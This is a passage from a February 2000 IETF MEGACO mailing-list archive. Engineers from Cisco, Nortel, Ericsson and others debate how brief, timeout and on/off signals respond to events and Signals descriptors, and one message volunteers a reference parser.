Date:         Wed, 9 Feb 2000 02:55:52 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Unsubscribe
X-To:         "Elayoubi, Issam (UUNET)" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF72D3.16A49DFA
Content-Type: text/plain

You unsubscribe by sending a message to
listserv@standards.nortelnetworks.com containing the line
unsubscribe megaco


> -----Original Message-----
> From: Elayoubi, Issam (UUNET) [SMTP:issam.elayoubi-eds@EDS.COM]
> Sent: Tuesday, February 08, 2000 12:19 PM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Unsubscribe
>
> G'day all,
>
> Need to unsubscribe. Moderator's feedback greatly appreciated.
>
> Cheers.

------_=_NextPart_001_01BF72D3.16A49DFA
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Unsubscribe




You unsubscribe by =
sending a message to listserv@standards.nortelnetworks.com containing =
the line

unsubscribe =
megaco





    

    -----Original Message-----

    From:   Elayoubi, Issam (UUNET) =
[SMTP:issam.elayoubi-eds@EDS.COM]

    Sent:   Tuesday, February 08, 2000 12:19 PM

    To:     MEGACO@STANDARDS.NORTELNETWORKS.COM

    Subject:       =
 Unsubscribe

    


    G'day all,

    


    Need to unsubscribe. Moderator's =
feedback greatly appreciated.

    


    Cheers.

    




------_=_NextPart_001_01BF72D3.16A49DFA--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 03:15:17 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02375
	for ; Wed, 9 Feb 2000 03:15:16 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.7463E0E0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 3:12:10 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33714 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 03:10:12 -0500
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.2D6EBF70@standards.nortelnetworks.com>; Wed, 9 Feb 2000 3:10:11
          -0500
Received: from chsharp-tecra (ssh.cisco.com [171.69.10.34]) by
          mailman.cisco.com (8.8.8+Sun/CISCO.SERVER.1.2) with ESMTP id
          AAA11522; Wed, 9 Feb 2000 00:12:34 -0800 (PST)
X-Sender: chsharp@localhost
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Message-ID:  <4.2.2.20000209024837.00ae38a0@localhost>
Date:         Wed, 9 Feb 2000 02:53:54 -0500
Reply-To: Chip Sharp 
Sender: "Media Gateway Control (megaco)"
              
From: Chip Sharp 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Flemming Andreasen 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
In-Reply-To:  <38A0A250.F374FFF3@worldnet.att.net>

  I'd like to make sure everyone agrees what the word "interrupted" means.

It is my view that a signal being interrupted means that the signal stops.
It has nothing to do with whether or not an event is reported.  For
example, if the MGC sends a command to an MG to turn on VMWI (On/Off) and
the MG has an Events Descriptor requesting notification of offhook, then if
the user goes off-hook, the off-hook event is notified to the MGC and the
VMWI signal stays on.  If the MGC wants to turn it off, it sends an
explicit command.

Chip

At 06:10 PM 2/8/00 -0500, Flemming Andreasen wrote:
>I should probably clarify the following:
>
>When referring to BR signals below and saying that I'm fine with deferring
>discussion
>about interrupting them or not until v2, I was referring to interrupting
>them by
>SignalsDescriptor only. I still believe they should not be interrupted by
>events.
>
>-- Flemming
>
>
>Flemming Andreasen wrote:
>
> > Hi Michael
> >
> > Comments below
> >
> > Michael Brown wrote:
> >
> > > Yes, actually this was a discussion that was held in Washington. VMWI
> is what
> > > we were calling an instantaneous OO signal. That is, the MGC sends
> down the
> > > signal to turn the light on. The CPE is messaged and the light comes
> on. In
> > > PSTN, the switch does not continuously send the command to keep the
> light on.
> > > If I send another signal descriptor without VMWI included no message
> is sent
> > > to the CPE about VMWI and the light stays on. It isn't until the MGC
> send a
> > > message to turn it off, that the light then goes off. Just by the
> way, there
> > > really is no reason why VMWI has to be an OO signal ... making it a
> BR signal
> > > would work just as well.
> >
> > I think we are looking at this signal at two different levels. I look
> at it as an
> > abstract higher level indicator that with two states; on and off. It
> seems you
> > view it as a lower level signaling mechanism where the entire FSK
> mechanism (I
> > presume) is what you expect. Some (older) phones may indeed expect
> this, however
> > some newer (IP phones) may not. I would prefer a higher level
> abstraction, but
> > neither is right or wrong. However, if you do want something like what
> I'm looking
> > for, I don't think a BR signal would be appropriate.
> >
> > >
> > >
> > > As an aside, if VMWI is a truly a non interruptable OO signal, how
> would the
> > > user go offhook?
> >
> > I see your point, but I think the question arises because of the different
> > abstraction levels we each have in mind here. In my case, if I had an
> analog phone
> > connected where I need the on-hook FSK transmission, then I would
> expect my MG to
> > simply shield those details from me. Thus, if the user goes off-hook
> during FSK
> > signaling or if he was already off-hook, I would have the MG take care
> of that,
> > and simply turn on the indicator when he went on-hook again.
> >
> > >
> > >
> > > Another aside is if a user hangs up during a non interruptable BR
> signal where
> > > the BR signal is not set up to report completion (most common case), what
> > > happens to the onhook event? If not reported, the line would hang in
> off hook
> > > state until either the MGC determined there was a problem or until
> the user
> > > went off hook and onhook again.
> >
> > I'm not sure I follow here. Events happen regardless of signal
> semantics. What we
> > are looking at is whether a given event affects a given signal or not.
> >
> > >
> > >
> > > My opinion is that if we want a particular signal to be truly
> noninterruptable
> > > (which I would contend that we really don't ever want to do), we
> would send a
> > > null events descriptor... if we don't want to see events, then don't
> ask for
> > > them. If we want to see some events, but we want the signal to
> continue, then
> > > use Keepactive.
> >
> > Again, I think that for the OO part of this discussion it's because we had
> > different levels of abstraction in mind. I still firmly believe that OO
> signals
> > should not be interrupted in as much as all they really do is
> (conceptually) set a
> > state to either "on" or "off". Interrupting them would imply setting
> the state to
> > "off" to me, and I definitely don't want that. BR signals are a whole
> other story.
> > I think there are arguments for not letting them be interrupted as
> well, but
> > that's a discussion with a lot of implications, which I'm fine with
> deferring
> > until v2.
> >
> > >
> > >
> > > Michael
> > >
> > > PS. I realize that I have not been contributing to the Keepactive
> discussion,
> > > but will do so right now.
> > >
> > > Flemming Andreasen wrote:
> > >
> > > > Can you explain how you plan on supporting say "visual message waiting
> > > > indicator" if OO signals are interrupted ?
> > > >
> > > > -- Flemming
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > G'Day all,
> > > > >
> > > > > I'd like to confer with Michael. All signals should be able to be
> > > > > interrupted. I think the behaviour of the signal types should be
> > > > > uniform. The distinction between: BR, TO, OO should be how many times
> > > > > the signal is played. ie.
> > > > > - BR play once what ever length it is.
> > > > > - TO play and repeat for a certain amount of time. ie.  ringtone
> -> play
> > > > > ring pattern multiple times.
> > > > > - OO play and repeat until turned off.
> > > > >
> > > > > A previous email sent by Tom gives an outline on what I believe the
> > > > > replacement rules should be.
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > > > Michael Brown wrote:
> > > > > >
> > > > > > Overall, we're still on the right track since we haven't taken the
> > > > > > approach of throwing everything away and starting over, but I
> do have
> > > > > > problems with some of the proposed changes. My feeling is that they
> > > > > > take us back to the situation we had before the IETF meeting in
> > > > > > Washington where I felt these issues were reasonably well resolved.
> > > > > >
> > > > > > The biggest general issue I have is that the definitions for signal
> > > > > > type cross the boundary into dictating implementation detail.
> Take the
> > > > > > case of  a BR signal. Happily, we have not come back around to
> trying
> > > > > > to define some time limit for a BR signal (although I think
> continuing
> > > > > > with the proposal will eventually lead us there again), so for
> now BR
> > > > > > is a subjective statement. Let's say I want to play a signal of a
> > > > > > relatively short tone (a couple of seconds) with a provisioned
> (in the
> > > > > > MG) length, but I want it to be interruptable. By these
> definitions,
> > > > > > this would have to be treated as a TO which means that the MGC
> would
> > > > > > have to specify duration (or we have the special rule of duration=0
> > > > > > means to play the signal til the MG stops it) which I don't think
> > > > > > should be required.
> > > > > >
> > > > > > There are other example of how these definitions require a specific
> > > > > > implementation of common signals, such as dial tone.
> > > > > >
> > > > > > Basically, I suppose I continue to feel that the default for all
> > > > > > signals should be interruptable and that  Keepactive be used to
> > > > > > override that behavior.
> > > > > >
> > > > > > Unfortunately, I don't have time to respond with my objections more
> > > > > > fully at this moment as I'm leaving shortly for the ITU
> meeting. When
> > > > > > I arrive in Geneva, I will follow up with my other concerns and
> > > > > > examples.
> > > > > >
> > > > > > Michael
> > > > > >
> > > > > >
> > > > > >
> > > > > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > > > > >
> > > > > > >
> > > > > > >
> > > > > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > > > > I'd like to see the reaction of a couple of other vocal
> parties --
> > > > > > > say Michael Brown and Christian Groves.
> > > > > > >
> > > > > > > We have three signal types with distinct roles:
> > > > > > >   BR has a timer but is not interrupted by events.  It is
> > > > > > > interrupted by signal descriptor replacement.
> > > > > > >   TO is the most interruptible: timer, events, signal
> descriptors.
> > > > > > >   OO is the most persistent: interrupted by signal
> descriptors with
> > > > > > > explicit "Off" syntax only.
> > > > > > > I assume we allow over-riding of default signal type in any given
> > > > > > > instance of playout.
> > > > > > >
> > > > > > > The list is an interesting problem.  I think I have an answer to
> > > > > > > turning an OO list off, but now we also have to define
> behaviour in
> > > > > > > response to events.  We might consider the following rules:
> > > > > > >
> > > > > > >  -- the type of the list is set explicitly -- every signal on the
> > > > > > > list with the possible exception of the last one must be
> either BR
> > > > > > > or TO, in order to have an assigned duration
> > > > > > >
> > > > > > >  -- if the last event is OO, the list must be OO and vice versa
> > > > > > >  -- the type of the list, not the type of the signals making
> it up,
> > > > > > > determines the conditions under which playout of the list ceases
> > > > > > >
> > > > > > >  -- the list times out if it is not OO and all of the signals
> on it
> > > > > > > have played out, each in turn to its full duration.
> > > > > > >
> > > > > > >      -----Original Message-----
> > > > > > >      From:   Flemming Andreasen
> [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > > > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > > > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > > > > >
> > > > > > >      Maybe, but according to Brian's first "no-op" rule, it
> must be
> > > > > > >      broken in order to get fixed :-)
> > > > > > >
> > > > > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > > > > >      three different signal types and three different semantics.
> > > > > > >      Each has it's own time and place. In the case of dial-tone,
> > > > > > >      TimeOut happens to be the one, not Brief.
> > > > > > >
> > > > > > >      -- Flemming
> > > > > > >
> > > > > > >
> > > > > > >      "Rosen, Brian" wrote:
> > > > > > >            Let's see:    Events stop signals except:        When
> > > > > > >           KeepActive is set        If the signal is
> BR        If the
> > > > > > >           signal is OONet result - events stop signals only
> when TO
> > > > > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > > > > >           rather than a KeepActiveMaybe it happens so seldom
> that we
> > > > > > >           use an embedded signals to do it.Also note that by
> saying
> > > > > > >           BR doesn't stop for events, you twist the solution
> tofirst
> > > > > > >           digit stops dialtone to a new level.Brian
> > > > > > >                -----Original Message-----
> > > > > > >                From: Flemming Andreasen [
> > > > > > >                ]
> > > > > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > > > > >                To: MEGACO@standards.nortelnetworks.com
> > > > > > >                Subject: Re: Cisco SG16: Signals Operation
> > > > > > >
> > > > > > >                Hi Tom
> > > > > > >
> > > > > > >                OO signals should not be interrupted by an event,
> > > > > > >                only the explicit "Off" syntax should have this
> > > > > > >                effect (otherwise we are back to TO signals with
> > > > > > >                indefinite duration, and semantically there's good
> > > > > > >                use for something that stays active until
> explicitly
> > > > > > >                told otherwise, e.g. consider message waiting
> > > > > > >                indicator)
> > > > > > >
> > > > > > >                Regards
> > > > > > >
> > > > > > >                        Flemming
> > > > > > >
> > > > > > >                Tom-PT Taylor wrote:
> > > > > > >
> > > > > > >
> > > > > > >                     Digging through the accumulated mass of
> indented
> > > > > > >                     text and comments, I think I see two parties
> > > > > > >                     agreeing on the following
> points.  Unfortunately
> > > > > > >                     experience tells me that as soon as we
> introduce
> > > > > > >                     a third party the agreements will vanish, but
> > > > > > >                     I'll record them here just in case a miracle
> > > > > > >                     happens.
> > > > > > >
> > > > > > >                     1) BR signals have the following
> > > > > > >                     characteristics: duration is assumed to
> be known
> > > > > > >                     to the MG without explicit MGC input.  Brian
> > > > > > >                     wants the ability to override duration, and I
> > > > > > >                     have no quarrel with that -- the only
> question
> > > > > > >                     is the exact mechanism.  The second
> > > > > > >                     characteristic is that a BR signal is not
> > > > > > >                     terminated by the detection of an
> event.  (But
> > > > > > >                     BR signals are still terminated by
> replacement
> > > > > > >                     of the Signals descriptor??  Any objections
> > > > > > >                     here?)
> > > > > > >
> > > > > > >                     2) TO signals seem to be fairly well
> understood.
> > > > > > >
> > > > > > >                     3) OO signals have the following
> > > > > > >                     characteristics: they remain on until
> > > > > > >                     interrupted by detection of an event, or
> receipt
> > > > > > >                     of a Signals descriptor with explicit Off
> > > > > > >                     syntax.  Brian's keyword syntax is probably
> > > > > > >                     acceptable.  Brian has a query about signal
> > > > > > >                     lists.  Is there something about this
> proposal
> > > > > > >                     that doesn't work given our current
> signal list
> > > > > > >                     text?
> > > > > > >
> > > > > > >                     4) Brian's proposals for completion events
> > > > > > >                     probably work for Chip and they work for
> me.  To
> > > > > > >                     summarize: the current notifyCompletion
> > > > > > >                     parameter remains but its significance
> changes:
> > > > > > >                     it is a selector (Boolean, default FALSE) and
> > > > > > >                     does not actually arm reporting.  There is a
> > > > > > >                     signal completion event which reports on the
> > > > > > >                     completion of any signal so flagged, with the
> > > > > > >                     identity of the signal as a reporting
> > > > > > >                     parameter.  QUESTION: should KeepActive
> default
> > > > > > >                     to TRUE for this event?  In any case, the
> signal
> > > > > > >                     completion event is invoked in the usual way,
> > > > > > >                     through an events descriptor.
> > > > > > >
> > > > > > >                     Open issue: signal failures.  The need for
> > > > > > >                     reports of such failures is real -- they do
> > > > > > >                     happen from time to time.  They happen
> > > > > > >                     autonomously, which means we either have
> to have
> > > > > > >                     an error method (ServiceChange ?) or an
> event to
> > > > > > >                     report them.  The key issue is whether
> you would
> > > > > > >                     need to know about ANY failure or only
> those of
> > > > > > >                     selected signals.
> > > > > > >
> > > >
> > > > --
> > > > ---------------------------------------
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > > ---------------------------------------
> >
> > Regards
> >
> >             Flemming
> >
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------
>
>--
>---------------------------------------
>Flemming Andreasen
>Cisco Systems
>---------------------------------------

Support NetAid!  http://www.netaid.org
--------------------------------------------------
Chip Sharp                 Consulting Engineering
Cisco Systems              Telco Bio-region
Reality - Love it or Leave it.
--------------------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 05:07:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA02927
	for ; Wed, 9 Feb 2000 05:07:21 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.214A9510@standards.nortelnetworks.com>; Wed, 9 Feb 2000 5:04:23 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 33866 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 05:03:10 -0500
Received: from ws9.cdotb.ernet.in (202.41.72.121) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8F33B4F0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 4:53:08
          -0500
Received: from jnana.cdotb.ernet.in (ws61 [202.41.72.173]) by
          ws9.cdotb.ernet.in (8.9.3/8.9.3) with SMTP id PAA10190 for
          ; Wed, 9 Feb 2000 15:24:30 +0500
          (GMT+0500)
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  
Date:         Wed, 9 Feb 2000 15:21:47 +0500
Reply-To: Alarmel Mangai 
Sender: "Media Gateway Control (megaco)"
              
From: Alarmel Mangai 
Subject:      Megaco Parser
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Dear Rosen & Brian,

        It seems that no reference implementation of megaco message
parser is available
now (and nobody is doing it). So we would like to volunteer for it.
Suggestion are gladly
welcome.

Thanks,
        Mangai & Titty.


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 09:12:56 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA06649
	for ; Wed, 9 Feb 2000 09:12:56 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.6FB36570@standards.nortelnetworks.com>; Wed, 9 Feb 2000 9:09:57 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34205 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 09:08:08 -0500
Received: from shuswap.gate.net by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.C8CBD8B0@standards.nortelnetworks.com>; Wed, 9 Feb 2000 8:58:08
          -0500
Received: from boca-isbu-nt04.boca.unisphere.com ([207.36.128.20]) by
          shuswap.gate.net (AIX4.3/8.9.3/8.9.3) with ESMTP id JAA65488 for
          ; Wed, 9 Feb 2000 09:00:34 -0500
Received: by boca-isbu-nt04.boca.unisphere.com with Internet Mail Service
          (5.5.2650.21) id <1PQDZXL8>; Wed, 9 Feb 2000 09:00:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <153BDA136259D311859900A0C99B5263052D02@boca-isbu-nt04.boca.unisphere.com>
Date:         Wed, 9 Feb 2000 09:00:40 -0500
Reply-To: "Glasgow, George" 
Sender: "Media Gateway Control (megaco)"
              
From: "Glasgow, George" 
Subject:      Re: Cisco SG16: Signals Operation
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Michael,
You make some good points.

Coming from the PSTN world, I can say that it was always clear to us that
the subscriber is God. If he goes off-hook or on-hook, then the signal must
be processed. Under no circumstances were we permitted to allow the
subscriber port to get hung.

In the case of VMWI, if the FSK transmission to the CPE was going on when
the subscriber went off-hook, then we simply aborted the VMWI and processed
the off-hook. Once the subscriber went on-hook, we went back and re-sent the
VMWI signal. This applies similarly to Calling Number/Name delivery, in that
the off-hook was processed and the FSK was aborted. In these features, of
course, we didn't go back at the end of the call and attempt to deliver the
data to the CPE!

Regards,

George Glasgow
Unisphere Solutions


-----Original Message-----
From: Michael Brown [mailto:C.Michael.Brown@NORTELNETWORKS.COM]
Sent: Tuesday, February 08, 2000 5:19 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Cisco SG16: Signals Operation


Yes, actually this was a discussion that was held in Washington. VMWI is
what
we were calling an instantaneous OO signal. That is, the MGC sends down the
signal to turn the light on. The CPE is messaged and the light comes on. In
PSTN, the switch does not continuously send the command to keep the light
on.
If I send another signal descriptor without VMWI included no message is sent
to the CPE about VMWI and the light stays on. It isn't until the MGC send a
message to turn it off, that the light then goes off. Just by the way, there
really is no reason why VMWI has to be an OO signal ... making it a BR
signal
would work just as well.

As an aside, if VMWI is a truly a non interruptable OO signal, how would the
user go offhook?

Another aside is if a user hangs up during a non interruptable BR signal
where
the BR signal is not set up to report completion (most common case), what
happens to the onhook event? If not reported, the line would hang in off
hook
state until either the MGC determined there was a problem or until the user
went off hook and onhook again.

My opinion is that if we want a particular signal to be truly
noninterruptable
(which I would contend that we really don't ever want to do), we would send
a
null events descriptor... if we don't want to see events, then don't ask for
them. If we want to see some events, but we want the signal to continue,
then
use Keepactive.

Michael

PS. I realize that I have not been contributing to the Keepactive
discussion,
but will do so right now.

Flemming Andreasen wrote:

> Can you explain how you plan on supporting say "visual message waiting
> indicator" if OO signals are interrupted ?
>
> -- Flemming
>
> Christian Groves wrote:
>
> > G'Day all,
> >
> > I'd like to confer with Michael. All signals should be able to be
> > interrupted. I think the behaviour of the signal types should be
> > uniform. The distinction between: BR, TO, OO should be how many times
> > the signal is played. ie.
> > - BR play once what ever length it is.
> > - TO play and repeat for a certain amount of time. ie.  ringtone -> play
> > ring pattern multiple times.
> > - OO play and repeat until turned off.
> >
> > A previous email sent by Tom gives an outline on what I believe the
> > replacement rules should be.
> >
> > Cheers, Christian
> >
> > Michael Brown wrote:
> > >
> > > Overall, we're still on the right track since we haven't taken the
> > > approach of throwing everything away and starting over, but I do have
> > > problems with some of the proposed changes. My feeling is that they
> > > take us back to the situation we had before the IETF meeting in
> > > Washington where I felt these issues were reasonably well resolved.
> > >
> > > The biggest general issue I have is that the definitions for signal
> > > type cross the boundary into dictating implementation detail. Take the
> > > case of  a BR signal. Happily, we have not come back around to trying
> > > to define some time limit for a BR signal (although I think continuing
> > > with the proposal will eventually lead us there again), so for now BR
> > > is a subjective statement. Let's say I want to play a signal of a
> > > relatively short tone (a couple of seconds) with a provisioned (in the
> > > MG) length, but I want it to be interruptable. By these definitions,
> > > this would have to be treated as a TO which means that the MGC would
> > > have to specify duration (or we have the special rule of duration=0
> > > means to play the signal til the MG stops it) which I don't think
> > > should be required.
> > >
> > > There are other example of how these definitions require a specific
> > > implementation of common signals, such as dial tone.
> > >
> > > Basically, I suppose I continue to feel that the default for all
> > > signals should be interruptable and that  Keepactive be used to
> > > override that behavior.
> > >
> > > Unfortunately, I don't have time to respond with my objections more
> > > fully at this moment as I'm leaving shortly for the ITU meeting. When
> > > I arrive in Geneva, I will follow up with my other concerns and
> > > examples.
> > >
> > > Michael
> > >
> > >
> > >
> > > "Taylor, Tom-PT (P.T.) [EXCHANGE:CAR:B904]" wrote:
> > >
> > > >
> > > >
> > > > OK, let's sum up, not that I'm confident that this will fly yet.
> > > > I'd like to see the reaction of a couple of other vocal parties --
> > > > say Michael Brown and Christian Groves.
> > > >
> > > > We have three signal types with distinct roles:
> > > >   BR has a timer but is not interrupted by events.  It is
> > > > interrupted by signal descriptor replacement.
> > > >   TO is the most interruptible: timer, events, signal descriptors.
> > > >   OO is the most persistent: interrupted by signal descriptors with
> > > > explicit "Off" syntax only.
> > > > I assume we allow over-riding of default signal type in any given
> > > > instance of playout.
> > > >
> > > > The list is an interesting problem.  I think I have an answer to
> > > > turning an OO list off, but now we also have to define behaviour in
> > > > response to events.  We might consider the following rules:
> > > >
> > > >  -- the type of the list is set explicitly -- every signal on the
> > > > list with the possible exception of the last one must be either BR
> > > > or TO, in order to have an assigned duration
> > > >
> > > >  -- if the last event is OO, the list must be OO and vice versa
> > > >  -- the type of the list, not the type of the signals making it up,
> > > > determines the conditions under which playout of the list ceases
> > > >
> > > >  -- the list times out if it is not OO and all of the signals on it
> > > > have played out, each in turn to its full duration.
> > > >
> > > >      -----Original Message-----
> > > >      From:   Flemming Andreasen [SMTP:fandreasen@WORLDNET.ATT.NET]
> > > >      Sent:   Friday, February 04, 2000 5:38 PM
> > > >      To:     MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > >      Subject:        Re: Cisco SG16: Signals Operation
> > > >
> > > >      Maybe, but according to Brian's first "no-op" rule, it must be
> > > >      broken in order to get fixed :-)
> > > >
> > > >      Regarding dial-tone, I don't see the issue. What you have is
> > > >      three different signal types and three different semantics.
> > > >      Each has it's own time and place. In the case of dial-tone,
> > > >      TimeOut happens to be the one, not Brief.
> > > >
> > > >      -- Flemming
> > > >
> > > >
> > > >      "Rosen, Brian" wrote:
> > > >            Let's see:    Events stop signals except:        When
> > > >           KeepActive is set        If the signal is BR        If the
> > > >           signal is OONet result - events stop signals only when TO
> > > >           and not KeepActive.Maybe we should have a "StopSignal",
> > > >           rather than a KeepActiveMaybe it happens so seldom that we
> > > >           use an embedded signals to do it.Also note that by saying
> > > >           BR doesn't stop for events, you twist the solution tofirst
> > > >           digit stops dialtone to a new level.Brian
> > > >                -----Original Message-----
> > > >                From: Flemming Andreasen [
> > > >                ]
> > > >                Sent: Friday, February 04, 2000 4:55 PM
> > > >                To: MEGACO@standards.nortelnetworks.com
> > > >                Subject: Re: Cisco SG16: Signals Operation
> > > >
> > > >                Hi Tom
> > > >
> > > >                OO signals should not be interrupted by an event,
> > > >                only the explicit "Off" syntax should have this
> > > >                effect (otherwise we are back to TO signals with
> > > >                indefinite duration, and semantically there's good
> > > >                use for something that stays active until explicitly
> > > >                told otherwise, e.g. consider message waiting
> > > >                indicator)
> > > >
> > > >                Regards
> > > >
> > > >                        Flemming
> > > >
> > > >                Tom-PT Taylor wrote:
> > > >
> > > >
> > > >                     Digging through the accumulated mass of indented
> > > >                     text and comments, I think I see two parties
> > > >                     agreeing on the following points.  Unfortunately
> > > >                     experience tells me that as soon as we introduce
> > > >                     a third party the agreements will vanish, but
> > > >                     I'll record them here just in case a miracle
> > > >                     happens.
> > > >
> > > >                     1) BR signals have the following
> > > >                     characteristics: duration is assumed to be known
> > > >                     to the MG without explicit MGC input.  Brian
> > > >                     wants the ability to override duration, and I
> > > >                     have no quarrel with that -- the only question
> > > >                     is the exact mechanism.  The second
> > > >                     characteristic is that a BR signal is not
> > > >                     terminated by the detection of an event.  (But
> > > >                     BR signals are still terminated by replacement
> > > >                     of the Signals descriptor??  Any objections
> > > >                     here?)
> > > >
> > > >                     2) TO signals seem to be fairly well understood.
> > > >
> > > >                     3) OO signals have the following
> > > >                     characteristics: they remain on until
> > > >                     interrupted by detection of an event, or receipt
> > > >                     of a Signals descriptor with explicit Off
> > > >                     syntax.  Brian's keyword syntax is probably
> > > >                     acceptable.  Brian has a query about signal
> > > >                     lists.  Is there something about this proposal
> > > >                     that doesn't work given our current signal list
> > > >                     text?
> > > >
> > > >                     4) Brian's proposals for completion events
> > > >                     probably work for Chip and they work for me.  To
> > > >                     summarize: the current notifyCompletion
> > > >                     parameter remains but its significance changes:
> > > >                     it is a selector (Boolean, default FALSE) and
> > > >                     does not actually arm reporting.  There is a
> > > >                     signal completion event which reports on the
> > > >                     completion of any signal so flagged, with the
> > > >                     identity of the signal as a reporting
> > > >                     parameter.  QUESTION: should KeepActive default
> > > >                     to TRUE for this event?  In any case, the signal
> > > >                     completion event is invoked in the usual way,
> > > >                     through an events descriptor.
> > > >
> > > >                     Open issue: signal failures.  The need for
> > > >                     reports of such failures is real -- they do
> > > >                     happen from time to time.  They happen
> > > >                     autonomously, which means we either have to have
> > > >                     an error method (ServiceChange ?) or an event to
> > > >                     report them.  The key issue is whether you would
> > > >                     need to know about ANY failure or only those of
> > > >                     selected signals.
> > > >
>
> --
> ---------------------------------------
> Flemming Andreasen
> Cisco Systems
> ---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Feb  9 09:41:35 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA07245
	for ; Wed, 9 Feb 2000 09:41:32 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.5FE75F30@standards.nortelnetworks.com>; Wed, 9 Feb 2000 9:38:09 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 34363 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 9 Feb 2000 09:37:38 -0500
Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows
          NT v1.1a) with SMTP id <0.E7E43770@standards.nortelnetworks.com>;
          Wed, 9 Feb 2000 9:27:38 -0500
Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id IAA29637
          for ; Wed, 9 Feb 2000 08:29:54
          -0600 (CST)
Received: from relay1.usa.alcatel.com(143.209.238.6) by fw7 via smap (V2.0) id
          xma029422; Wed, 9 Feb 00 08:29:37 -0600
Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by
          relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id IAA11914 for
          ; Wed, 9 Feb 2000 08:29:35 -0600
          (CST)
Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAB459B for
          ; Wed, 9 Feb 2000 08:29:33 -0600
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id IAA21986 for ; Wed, 9
          Feb 2000 08:28:26 -0600 (CST)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
